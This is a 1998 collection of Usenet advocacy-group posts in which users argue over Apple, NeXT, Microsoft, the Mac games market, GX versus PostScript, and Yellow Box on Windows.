Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <petrichEuLFBI.CGC@netcom.com>
Organization: Netcom
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <35800D69.C7F8B8E1@nstar.net> <35e138b6.262092222@news.supernews.com> <6m2s83$t42$1@nntp1.ba.best.com>
Date: Mon, 15 Jun 1998 12:42:54 GMT
Sender: petrich@netcom15.netcom.com
In article <6m2s83$t42$1@nntp1.ba.best.com>, Boris <boris@movil.com> wrote:
>Market is very competitive. You yourself could write a word processor, call
>it smthg "Max Word" and offer to the public. What's holding you if you are
>skillful enough and have desire to use your skills?
Why not do it yourself and see how far you get?
Writing a feature-filled word processor would be a *massive*
effort -- as I know from some of my personal experience with writing
software.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 15 Jun 1998 13:16:41 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1506981316410001@dante.eng.uci.edu>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net> <rmcassid-1306980235180001@dialin33422.slip.uci.edu> <rmcassid-1506981103570001@dante.eng.uci.edu> <35856fd0.0@news.depaul.edu>
In article <35856fd0.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>I don't see this as being a real flaw though, since they were probably
>supported at the time, then forgotten.
Consider if all bills were put forth with an expiration date. It would
make those laws that were later deemed silly as irrelevant since it would
expire without renewal... It would also force other bills to get an
opportunity for review at regular intervals. Imagine if the tax codes had
to be reapproved every 3-5 years...
>A real flaw in our system of government is the way Congress slips sleazy
>little special-interest riders into completely unrelated bills. For
>which they're paid handsomely, of course.
Right. The line-item veto would have been a great benefit to curbing this,
but alas it was not to be.
-Bob Cassidy
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Mon, 15 Jun 1998 15:21:13 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35858239.B18CEFB@nstar.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <sam-1506981534110001@203.21.125.60> <3585335A.8E6F1978@spamtoNull.com> <cirby-1506981531060001@pm53-28.magicnet.net>
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NNTP-Posting-Date: 15 Jun 1998 20:26:17 GMT
Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > The Apple list is, of course, a PR gimmick and woefully out of date.
>
> Yes- there are certainly more companies out there that aren't listed.
>
> Thanks for pointing that out...
Bullshit. That list is at least 50% companies that are out of business.
Most of the rest aren't actively involved in Macintosh game development;
they might have *planned* an app once upon a time.
Name ten companies that are writing Mac games *today* that aren't on
that list. By "company" I mean something comparable to a Texas Class C
Corporation, a bona fide *company*, not a college student learning the
Toolbox.
MJP
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 21:14:44 GMT
Organization: Rockwell International
Message-ID: <6m42s4$rcu1@onews.collins.rockwell.com>
References: <9806151832.AA09593@palmer.cca.rockwell.com> <B1AAC334-6397@206.165.43.7>
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Cc: english@primenet.com
In <B1AAC334-6397@206.165.43.7> "Lawson English" wrote:
> OH, PUHlease. PDF is NOT "PS sans a language." PS *IS* a language. PDF is
> merely a way of organizing a bunch of graphics primitives that PS happens
> to use.
>
> If we're going to get THAT vague about what is what, QuickDraw is used on
> virtually every computer in the world because QuickDraw was the inspiration
> for GX, DPS, PDF, GDI and just about every modern 2D graphics system.
>
You said GX was more common than PS because PARTS of GX are included in
QuickTime.
I countered that PS is more common than GX because PARTS of PS are included
in PDF and PDF is probably more common than QuickTime.
PDF is at least as closely related to PS as QuickTime is to GX!
As for DPS being inspired from QuickDraw, I doubt it. Both DPS and QuickDraw
were inspired by Phigs which dates from the late 60s.
Didn't Jobs see the precursor to DPS at Zerox before even starting the Mac
project ? If so, that would argue against DPS being inspired by QuickDraw
which did not exist.
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Violent SJ and the ICP was: Re: Reverse Technology -
Date: 15 Jun 1998 20:20:38 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd989a$d79a96a0$04387880@test1>
References: <357DB62A.6D843E17@alum.mit.edu> <6lm54c$iqs@btmpjg.god.bel.alcatel.be> <3583A6E8.7C5A@southwind.net>
jmz@southwind.net wrote
> All of these things are true. If you want to fail, study
> famous failures and emulate them.
It is easy to point to company xyz and say they failed because of
abc. Unfortunately, every major computer company has failed, sold,
been dismantled, or is struggling.
Where are they now:
Word Perfect Corp. - sold twice
Lotus Corp. - sold to IBM (mainly to get Notes)
Borland Corp. - died and reborn as Inprise
Digital Equipment Corp. - sold to Compaq
Tandem Corp. - sold to Compaq
Commodore/Amiga - died, several attempts to be reborn
Other interesting examples:
IBM's OS/2, killed off by Window 3.x, 95, and NT
Novell was decimated by Windows NT
Netscape [stock/revenues] was decimated by IE
Silicon Graphics Inc. is still in the woods, agreed to do NT
Even successful companies are interesting too examine:
HP sells more NT workstations than HP/UX workstations
Sun's unit sales have stopped growing
When Apple is compared to Microsoft, it is seen as a failure.
However, compared to virtually every other computer company -
especially any company whose key technology was targeted by Microsoft
- Apple is successful.
Also, think about how many successful computer/OS companies have been
started in the last 15 years?
I suspect there are windows when new companies can be started in a
particular market. I think the market for new computer/OS companies
was pretty much closed by the time NeXT entered it.
Todd
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.atari.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Intel Vivisectors Probed By US FTC: Intel Scrutinized
Date: Fri, 12 Jun 1998 00:04:33 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R1206980004330001@news.enetis.net>
References: <Pine.HPP.3.96.980610201623.737F-100000@demeter.sunyit.edu> <6lo7v8$ke5$1@ns3.vrx.net>
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In article <6lo7v8$ke5$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <Pine.HPP.3.96.980610201623.737F-100000@demeter.sunyit.edu> Jill Howe
> claimed:
> > Subject: Vivisectors Probed By US FTC: Intel Scrutinized
> >
> > Pro-vivisection computer company Intel
> [snip]
> > The Intel International Science and Engineering Fair (ISEF), according to
> > the National Anti-Vivisection Society, permits high-school students to
> > force-feed mice, inject cocaine into rats and remove baby birds from their
> > nests for kiddie isolation studies. And that's just some of what Intel is
> > accused of.
>
> Amusing no? Intel holds a science fair, and that makes them
> "pro-vivisection"
> Maury
Wait a second... Is Intel accused of these things by the FTC or by
individual "liberal wacko" groups? Becuase if this has nothing to do with
the FTC investigation then it has nothing to do with what Intel is formaly
accused of. I just don't want to let FUDster's like Markowitz, Hughes,
Field, or Elam to blurr the issue.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 11:38:06 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m312u$b7k$6@ns3.vrx.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23>
<jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <6m1gbk$ndd$8@ironhorse.plsys.co.uk>
<3584500D.CD7B26A0@nstar.net>
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Cc: mjpeck@nstar.net
In <3584500D.CD7B26A0@nstar.net> "Michael J. Peck" claimed:
> I doubt it. QTML is an API for the creation of professional-level media.
> Yellow Box is an enterprise-level application framework.
That's simply not true. The thing YB is best at s producing traditional
"desktop" applications. The fact that it's also one of the better enterprise
development systems is simply historical accident and financial reality.
> compares favorably in the games market to something like Game Sprockets,
> or the even more complete DirectX.
Game Sprockets is a perfect example of everything that's wrong with Apple.
"here's some cool tech, if we make it people will write games on the Mac!".
Right. Sprockets is finally becoming truely useful (well, has been for about
a year now) yet game developers are adbandoning the Mac.
Could YB be a good games development system? Unquestionably. This is why
I find Apple's current stance on OOPS wrappers for QT under YB so annoying.
> DirectX was designed for the express
> purpose of making it easier to perform the highly-complex functions
> demanded by today's games.
No, it was to lock people into their platform. Which it did. If the
"marketspeak" was correct they would have released DirectEngine and DirectCD.
The number of _unreleased_ Direct API's is larger than the released list.
> sometime to hear what people are asking for. It's not object-oriented
> GUIs, that much I can tell you.
But neither is any of Win32. That's not a point. Had they been developing
under OpenStep, it would have been.
> If Apple plans to hold up a QTML/YB combination as its gaming
> solution...I'll go out on a limb and say that I have 100% certainty that
> developers will throw it into the wastebasket so hard it makes sparks.
As it currently stands, maybe.
Maury
From: jmz@southwind.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sun, 14 Jun 1998 10:15:03 +0000
Organization: None
Message-ID: <3583A2A6.2F45@southwind.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <Pine.SOL.3.96.980615011908.456A-100000@hei.unige.ch> <358322BC.4620@southwind.net> <MPG.feed200cc3d366598986f@news.supernews.com>
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Donald Brown wrote:
>
> In article <358322BC.4620@southwind.net>, jmz@southwind.net says...
> > I compare Jobs to Hitler quite intentionally,but conditionally:I'm not
> > accusing him of genocide or war atrocities.I am saying that he's
> > dysfunctional and disturbed and conciously or otherwise is determined to
> > fail at Apple,per se.
> >
> But the fact that, of all the dysfunctional leaders you could have
> chosen, it was just a random chance you chose Hitler.
No,because Jobs is so fundamentally Hitlerian in that he's
doomed,historically,and so are those who follow him.Mussolini might be a
good analogy too,but Hitler just has that emotional impact,even today.
I did a project in high school,which was to research how common the
name "Hitler" had been in the United States before and after the Nazi
regime in Germany.Before 1940 or so,there were Hitlers and Hittlers in
most major city phone books.For the most part,that surname has vanished.
Were all the Hitlers rounded up and Finally Solved? For the ardent
conspiracy buff,of course,anything is possible,but a much more likely
explanation is that all the Hitlers, and most of the Hittlers,changed
their name.
I mean,I would have.
Even today,the name Hitler is above all other names when it comes to
describing a crazed or malevolent despot.Idi Amin,Ne Win,even Pol Pot
just don't have that same ring.
From: "Boris" <boris@movil.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 15 Jun 1998 10:02:56 -0700
Message-ID: <6m3kkl$ace$1@nntp1.ba.best.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <35800D69.C7F8B8E1@nstar.net> <35e138b6.262092222@news.supernews.com> <6m2s83$t42$1@nntp1.ba.best.com> <petrichEuLFBI.CGC@netcom.com>
Loren Petrich wrote in message ...
>In article <6m2s83$t42$1@nntp1.ba.best.com>, Boris <boris@movil.com> wrote:
>
>>Market is very competitive. You yourself could write a word processor,
call
>>it smthg "Max Word" and offer to the public. What's holding you if you are
>>skillful enough and have desire to use your skills?
>
> Why not do it yourself and see how far you get?
>
> Writing a feature-filled word processor would be a *massive*
>effort -- as I know from some of my personal experience with writing
>software.
I'm not talking about amount of work it would take. I'm continuing topic
about fair competition.
Boris
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 10:33:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AAA8E4-604C8@206.165.43.126>
References: <358537F3.66478A32@spamtoNull.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Jonathan Harker <Limeyville@spamtoNull.com> said:
>
>In summary, the iMac might make a good platform for schools, libraries,
>and some small business network situations (provided the software gets
>delivered), but its paltry native hardware and the complete inability to
>mix& match PCI components at will is a limitation sure to leave gamers
>cold.
And this could be remedied if they created "personality cards" for the 3D
accelerator and other hardware features. If you wanted a faster 3D option,
you could take it to the local Mac dealer and have him/her upgrade it for a
modest fee.
Even gives Jobs his anal-retentive full control of hardware that he so
dearly loves.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 10:57:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AAAE85-75770@206.165.43.126>
References: <6m2v5h$b7k$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1A80B05-45183@206.165.43.23> "Lawson English" claimed:
>> GX (or parts thereof) is installed on far, FAR more computers than
DPS/PS
>> ever has been or ever will be.
>
> Hmmm, Apple's (old) numbers are 20m machines and about 2% installation
>rate. That's about 400k machines, and I'll bet dollars to donuts that
number
>has dropped significantly. On the other hand PS is in something on the
>order
>of 30% of all laser printers, and likely a similar number of all Unix
boxes.
>So I'd say you're number is incorrect.
>
> But obviously the "fact" that it's popular makes it good, right?
>
You snip the second part:
" The GX graphics portion of GX (sans bitmaps,
currently, I believe) is the basis of QuickTime Vector Graphics and is
available on WIndows, MacOS, Rahpsody, and probably on SGI and Solaris
machines also."
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 11:06:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AAB07A-7CD2F@206.165.43.126>
References: <6m314s$b7k$7@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1A9E6E6-2389C@206.165.43.122> "Lawson English" claimed:
>> Be aware that QT sprites are scripted using HyperTalk directly, or so I
>> understand, so you likely can't get easier to program than what
>> HyperTalk/QuickTimeInteractive allows.
>
> Can't get much slower either.
Eh, it depends on how they work it. Unlike HyperTalk, QTI won't be always
working in an interactive development environment, so you MAY be able to
tokenize all variables instead of keeping them in text-strings. That's
likely the slowest part of HyperTalk -having to constantly parse all
variables to see what they are and how they should be evaluated. Do away
with THAT aspect of HyperTalk, and you've got just another byte-encoded
language, which can be pretty fast.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Date: 15 Jun 1998 11:11:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AAB19D-811B1@206.165.43.126>
References: <uu35mn0hv.fsf@ai.mit.edu>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Stephen Peters <portnoy@ai.mit.edu> said:
>
>Which is too bad. GX fonts should be fantastic for high-quality
>typesetting. But when you look at the big picture, they're just not
>going to be supported well enough to make it there.
>
>I'm still hoping Apple can leverage the GX font technology into great
>native support for OpenType fonts. I'm encouraged that more of the
>industry will start looking in the OTF direction (witness the OpenType
>support being built into Java2D).
Too bad you snipt the rest of my post, which mentioned ATSUI, the default
text-handling routines for MacOS X (aka Rhapsody 2.0). ATSUI handles GX
fonts out-of-the-box and uses them quite well, since it is based on GX's
text-handling with NSText's text-block capabilities thrown in.
My only hope is that Apple will "see the light" and implement an ATSUI-like
text-shape in GX and sell one last partial-OS upgrade to older Mac users.
This would help lock users into Mac-only software since ATSUI (if it does
what it is supposed to) is lightyears beyond anything that WIntel offers.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jmz@southwind.net
Newsgroups: comp.sys.next.advocacy
Subject: Violent SJ and the ICP was: Re: Reverse Technology -
Date: Sun, 14 Jun 1998 10:33:12 +0000
Organization: None
Message-ID: <3583A6E8.7C5A@southwind.net>
References: <357DB62A.6D843E17@alum.mit.edu> <6lm54c$iqs@btmpjg.god.bel.alcatel.be>
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> NEXTSTEP was never for free (it always was very expensive).
> NEXTSTEP was never cross platform (its about OS's, not CPU's).
> NEXTSTEP was never sold (better: given away) to the masses.
> NEXTSTEP was never source licensed to multiple customers.
> NEXTSTEP was never offered by multiple providers.
> NEXTSTEP never had a language as good as Java.
> NEXTSTEP already has failed when OPENSTEP was derived from it.
All of these things are true.If you want to fail,study famous failures
and emulate them.Symbolics was such a failure,and NeXT chose to emulate
them in their pricing and marketing policies (although not to their
crazed degree:NeXT were like the Insane Clown Posse as compared to
Symbolics' GG Allin).
Insane Clown Posse!! Holy Genera,Batman,I'm good.Is there in the
universe a more descriptive term for Apple management???
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Thu, 11 Jun 1998 13:46:29 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R1106981346290001@news.enetis.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176> <35749ed6.0@206.25.228.5> <mNOSPAMroeder-0306981149160001@192.168.21.176> <35771d95.13913887@news.supernews.com>
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In article <35771d95.13913887@news.supernews.com>, kychenABC@hpl.hp.com
(Kay-Yut Chen - remove ABC in email to reply) wrote:
> On Wed, 03 Jun 1998 11:49:16 -0700, mNOSPAMroeder@macromedia.com
> (Michael Roeder) wrote:
(snip)
> >Let's see ... there are more games available for Windows than for the Mac,
> >and even though I don't play computer games (I'm a hockey goalie; what do
> >I need with computer games?) that means I should get a Windows box instead
> >of a Mac? Is that what you mean?
>
> The original paragraph never addressed YOU. It said "it is one of the
> reasons why PEOPLE buy computers", not why you buy computers.
> Windows box is probably not for you. But it is a better choice for
> people who want to play games on their computers.
> Kay-Yut
Kay-Yut... everyone plays video games. You play games, I play games, our
hockey friend even plays video games. So what you're suggesting then is
that, becuase I like to play games but I choose the Macintosh, I made the
wrong decision?
Everyone plays video games, but everyone also works. The responsible
choice is to purchase the computer that works best for you, then worry
about the games. The Macintosh has fewer games, but that is NOT to say
that it has "few" games. There are thousands of commercial and sharware
games available for the Macintosh.
That someone should choose their platform souly on the basis of games, is
IMHO childish. Fortunately, I think when you look at the facts, very few
users actualy do choose their platform based on how many games it runs. So
in essence, you're right. It is one of the reasons why people buy
computers... it is not generaly one of the reasons why people choose a Mac
or PC. Both platforms run tons of games.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 11:39:08 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m314s$b7k$7@ns3.vrx.net>
References: <slrn6o8thk.1jv.sal@panix3.panix.com> <B1A9E6E6-2389C@206.165.43.122>
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Cc: english@primenet.com
In <B1A9E6E6-2389C@206.165.43.122> "Lawson English" claimed:
> Be aware that QT sprites are scripted using HyperTalk directly, or so I
> understand, so you likely can't get easier to program than what
> HyperTalk/QuickTimeInteractive allows.
Can't get much slower either.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 14:21:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AADE20-10862@206.165.43.85>
References: <cirby-1506981519280001@pm53-28.magicnet.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Chad Irby <cirby@magicnet.net> said:
>sal@panix3.panix.com (Salvatore Denaro) wrote:
>
>> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> >Two or three dozen iMac game programs would be even more desirable.
>>
>> I don't think there are a half dozen yet. Can someone list some
companies
>> that write games for the Mac? Or at least do dual Mac/PC versions of
>games?
>
>MacSoft. Lots of things from them, and some of the best titles out there,
>including Civilization II.
>
>Blizzard is another. Diablo sound familiar?
ISn't MacSoft a porting company? And didn't they port Diablo for Blizzard?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 11:29:11 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m30i7$b7k$5@ns3.vrx.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23>
<jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com>
<35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com>
<njcosta-ya02408000R1506980112460001@news.earthlink.net>
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Cc: njcosta@aol.com
In <njcosta-ya02408000R1506980112460001@news.earthlink.net> Nicholas Costa
claimed:
> No one would attempt to say that the Mac has more games/game developers
> than its WinDoze competitor, for it simply isn't true. However, the Mac
> does have a substantial number of game titles, and the list is growing.
*coff* Mac game development is essentially dead.
The only people that appear to be active are the
count-on-fingers-of-one-hand cross porting companies like MacSoft, and the
shareware authors. Companies that used to do cross platform titles like
Atomic, are adbandoning the Mac side (this is the general rule). Other
companies that got "into it" over the last two years saw dissapointing sales
on the Mac side, and are leaving it again, likely for good this time. Games
on the Mac are in horribly serious trouble.
I don't play Doom or Descent, I play sims and strat games. The selection
of titles of this on the Mac consisted of a SINGLE title last year (A Bridge
Too Far - and Atomic's now out apparently) and a port of a PC title by a Mac
vendor. Companies like SSI which used to do some x-platform titles have also
given up on the Mac and not a single one of their new titles is being ported.
This year I'm able to look forward to only two, Fighter Squadron, and
TacOps'98.
Then there's Lucas arts.
The statement above is laughably untrue. Even the people at MacSoft,
worthy as they are, can port only a handfull of games each year and for good
reasons pick only the very popular ones. The complete lack of any games
worthy of my money on the Mac is why I was forced to buy a PC this year.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 Jun 1998 09:04:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AA9409-11E3D@206.165.43.126>
References: <6m30c2$s4b$2@sun27.hrz.tu-darmstadt.de>
nntp://news.primenet.com/comp.sys.mac.advocacy,
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Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> said:
>"Lawson English" <english@primenet.com> wrote:
>>Scott Anguish <sanguish@digifix.com> said:
>>
>>>>YB will work on a subset of Wintel hardware.
>>>
>>> YB will work on any machine running Windows 95 and NT.
>>
>>
>>
>>REally? I don't know of any software from any software house, including
>>Microsoft, that makes that claim about a specific application running on
>>Wintel hardware. Strikes me that a framework is a bit harder to support
>>than a generic application, because it must be all things to all people,
so
>>I question your absolutist assertion.
>
>YB will work on any machine running Windows 95 and NT. It's a Windows
>application, it uses the Windows API, just like any other Windows app.
>Stating that it will work on a subset of Windows machines is like
>stating that only a subset of Windows machine run Office, or that
>Corel Draw only works on a subset of Windows machines. Or that GX
>will only be able to print to a subset of printers.
>
<dryly> Actually, when MS Windows 95 was first introduced, there was a list
of compatible machines. Why? Because not every computer that could run 3.1
could run 95.
There are, I believe, Windows 95-capable systems that will NOT run MS
Office.
To suggest that YB is going to run on every computer that WIndows XX runs
on is to ignore just how messy the support issues are on Wintel hardware
and software. Certainly, the number of machines that YB will support will
be greater than the number of machines that Rhapsody 1.0 will support, but
to claim 100% like that?
No way.
YB can be seen as a "do everything" application. No complex application
runs on all WIndows-capable hardware. That's MY absolutist assertion and it
would be impossible to refute it, but easy to prove: just provide an
example of a system on which Windows XX will boot, but on which MS Office
crashes, no matter what you do.
Given the horror stories that come out of the Wintel world every day (my
business partners work in Intuit tech support, so I get an earful on a
regular basis), I'm pretty sure that I'd win any bet on this subject:
neither MS OFfice NOR YB-based apps will work on every system that boots
Windows XX. The number may be small or it may be large, but OpenStep has
never been used on enough WIntel systems to gather statistically
significant data on this issue, so you're talking about something that we
have no information about, whereas I'm going by the experiences of
countless tech support people for myriad MS apps.
If the YB should be viewed as "just another WIndows XX app," then it is as
complex and demanding as they come. And it WILL have problems on some
hardware that boots Windows XX. "How many" is the only question.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: So THAT is the OS stratetgy?
Newsgroups: comp.sys.next.advocacy
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca> <B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com> <6m2nh8$irr$3@bolivia.it.earthlink.net>
Message-ID: <3585477a.0@news.depaul.edu>
Date: 15 Jun 98 16:10:34 GMT
Ziya Oz <ZiyaOz@earthlink.net> wrote:
> sanguish@digifix.com (Scott Anguish) wrote:
> >Sorry Lawson, but YB is essential to a major money making
> >beast at Apple, WebObjects..
> I have yet to see anyone from Apple refute the assertion that WebObjects (a
> $40-$50M operation) contributed about $2M of profit to Apple's bottom line in
> the last two quarters.
WebObjects consulting and support profits alone probably were at least
$2M. That doesn't count sales of the actual software. The real money is
in the service and consulting, not the actual software. Compaq knows
this, that's why they bought Digital; they weren't after the Alpha,
or the DEC PC business. They wanted Digital's huge service revenue.
--
"... and subpoenas for all." - Ken Starr
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 16:21:04 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m3hlg$n2m$1@ns3.vrx.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23>
<jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com>
<35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com>
<njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net>
<cirby-1506981527110001@pm53-28.magicnet.net>
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Cc: cirby@magicnet.net
In <cirby-1506981527110001@pm53-28.magicnet.net> Chad Irby claimed:
> > Atomic, are adbandoning the Mac side (this is the general rule).
>
> Atomic? They did what, *one* Mac title?
Ummm, no. Four in the VforV series, called the best wargames ever, three
(four?) in the World at War series, and two (so far) in Close Combat. They
were the #1 supplier of war strategy games on the Mac.
> > on the Mac side, and are leaving it again, likely for good this time.
>
> ...aside from all of the folks who actually *wrote* Mac games, and who saw
> increases in sales (like MacSoft's 151% increase in sales over the last
> year).
MacSoft is a unique case, being one of the few that it's possible to ask.
Asked Lion about how their sales are going? Opps, they went under.
MacSoft's recent success makes for great press, but doesn't hide the ugly
truth.
MacSoft gets the rights to super-popular games from the PC and ports them -
and hats off too them. However their profits are thus tied entirely to the
number of ports in that year. That means if they get out more ports, they
get in more money.
Try asking people who write _new_ titles as their main source of income to
see what THEY think. or better yet, go to ANY big gaming page and look at
the number of reviews, see how many run on the Mac.
